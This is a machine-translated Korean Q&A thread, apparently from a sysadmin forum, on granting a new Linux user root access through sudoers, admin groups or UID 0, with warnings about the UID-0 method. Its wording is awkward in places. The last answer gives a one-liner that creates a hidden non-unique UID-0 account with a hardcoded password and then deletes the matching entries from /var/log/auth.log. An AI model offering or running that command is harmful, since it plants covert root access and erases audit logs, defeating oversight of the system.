새 사용자를 추가하고 새 사용자에게 모든 루트 액세스 권한을 부여 / 부여하고 싶습니다. 어떻게해야합니까?
나는 sudo adduser --system testuser
했지만 예상대로 작동하지 않습니다.
도와 주셔서 감사합니다.
새 사용자를 추가하고 새 사용자에게 모든 루트 액세스 권한을 부여 / 부여하고 싶습니다. 어떻게해야합니까?
나는 sudo adduser --system testuser
했지만 예상대로 작동하지 않습니다.
도와 주셔서 감사합니다.
답변:
실제로 올바른 방법, 잘못된 방법 및 못생긴 방법의 세 가지 방법이 있습니다.
먼저 일반 사용자 계정을 만드십시오 .
adduser username
그런 다음 다음 중 하나를 선택하십시오.
다음 과 같이 그룹에 sudo
대한 항목을 작성하십시오 .wheel
/etc/sudoers
## Allows people in group wheel to run all commands
%wheel ALL=(ALL) ALL
또는 "현대"버전의 경우 :
## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL) ALL
그런 다음 사용자를 wheel
그룹에 추가하십시오 . 관리 권한이있는 사용자를 추가하고 제거하면 sudo에서 항목을 작성하는 대신 바퀴에 사용자를 추가하는 것을 기억하는 기능이됩니다. 휠을 사용할 때의 가장 큰 장점은이 메커니즘을 그룹을 지원하는 다른 인증 체계 (예 : winbind / Active Directory)로 확장하고 프로세스의 이점을 활용할 수 있다는 것입니다. 휠을 관리자 권한이있는 인증 스키마의 그룹에 매핑하여이를 수행 할 수 있습니다.
일부 배포판은 다른 관리 계정을 사용합니다. 휠이에 "전통적인"방법입니다,하지만 당신은 발생할 수있는 admin
, adm
그리고 같은 용도로 다른 그룹 계정.
후속 편집 :
우분투 가이 목적을 위해 그룹으로 사용한다는 점을 지적하면서 Bart Silverstrim 을 지적해야합니다 admin
. 그는 당시에 우분투 태그를 알지 못했지만 그는 이것을 처음으로 얻었습니다. 다시 말하지만, 그것은 당신이 사용하는 배포판에 달려 있습니다.
해당 사용자 계정에 대한 sudo 항목을 작성하고 완전한 액세스 권한을 부여하십시오. 다시, 다음 /etc/sudoers
과 같이 항목을 작성하십시오 .
## Allows just user "username" to run all commands as root
username ALL=(ALL) ALL
추가 : ## 우분투 버전 : username ALL = (ALL : ALL)
하나 또는 두 개의 일반 계정 만있는 경우 유용합니다. 여러 (지리학 적) 사이트에 대해 100 개의 계정이 있고 sudo 파일을 지속적으로 유지 관리해야 할 경우에는 추악합니다.
/etc/passwd
파일을 편집하고 번호에 관계없이 사용자 계정 ID를 (으)로 변경할 수 있습니다 0
. 맞습니다, 제로 .
username:x:0:502::/home/username:/bin/bash
세 번째 항목이 0으로 표시됩니까? 귀하가 해당 계정에 로그인하면 귀하는 모든 효과적인 목적으로 root
입니다. 나는 이것을 권장하지 않습니다. "누가"인지 기억 나지 않으면 파일을 만들고 만지기 시작할 때 모든 종류의 혼란을 만들 수 있습니다 root
. root
그룹에 사용자 이름을 추가 할 수도 있습니다 . 이것은 파일 액세스에도 같은 효과가 있지만 다른 문제가 발생합니다. 프로그램은 사용자 가 아니라는 사실을 알고 root
실행을 거부하지만 group에 속하는 파일에 액세스 할 수 있습니다 root
.
이 작업을 수행했다면 vipw
그냥 편집 하는 대신 사용 했 vi
습니까? (또는 좋아하는 텍스트 편집기가 무엇이든) 결국,이 파일의 단일 오타가 시스템을 잠글 수 있습니다. 즉, 복구 디스크로 문제가되는 컴퓨터를 실제로 방문해야합니다.
나는 이것을 수년간 사용해 왔으며 AskUbuntu에 sudoer를 추가하는 가장 좋은 방법입니다 .
adduser existinguser sudo
파일을 편집하는 것보다 훨씬 간단하며 무인 설치를 위해 쉘 스크립트에 쉽게 넣을 수 있습니다.
사용자를 작성하고 sudo 권한을 부여하려면 다음과 같이 한 줄로 수행하십시오.
useradd newuser -m -G sudo
passwd newuser
-m
홈 디렉토리를 작성하고 -G
보충 그룹을 지정합니다.
"추악하고 지저분한"방법은 / etc / passwd를 편집하여 새 사용자에 대해 UID = 0 및 GID = 0을 갖도록하는 것입니다. 그러나 이것은 많은 보안 위험을 초래 합니다. 당신은 그가 또한 루트라면 그는 당신의 accont를 비활성화하고, 암호를 변경하고, 당신을 "표준 사용자"로 만들 수 있다는 것을 알고 있습니다 ... 맞습니까? 그렇다면 왜 당신에게 자신의 계정을 제공하지 않습니까?
몇 가지 명령에 대해서만 루트 액세스 권한을 부여하려는 경우 suid ( http://en.wikipedia.org/wiki/Setuid ) 작동 방식을 연구 할 수 있습니다 .
하나의 라이너가 있습니다.
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;'
/var/log/auth.log
베스트,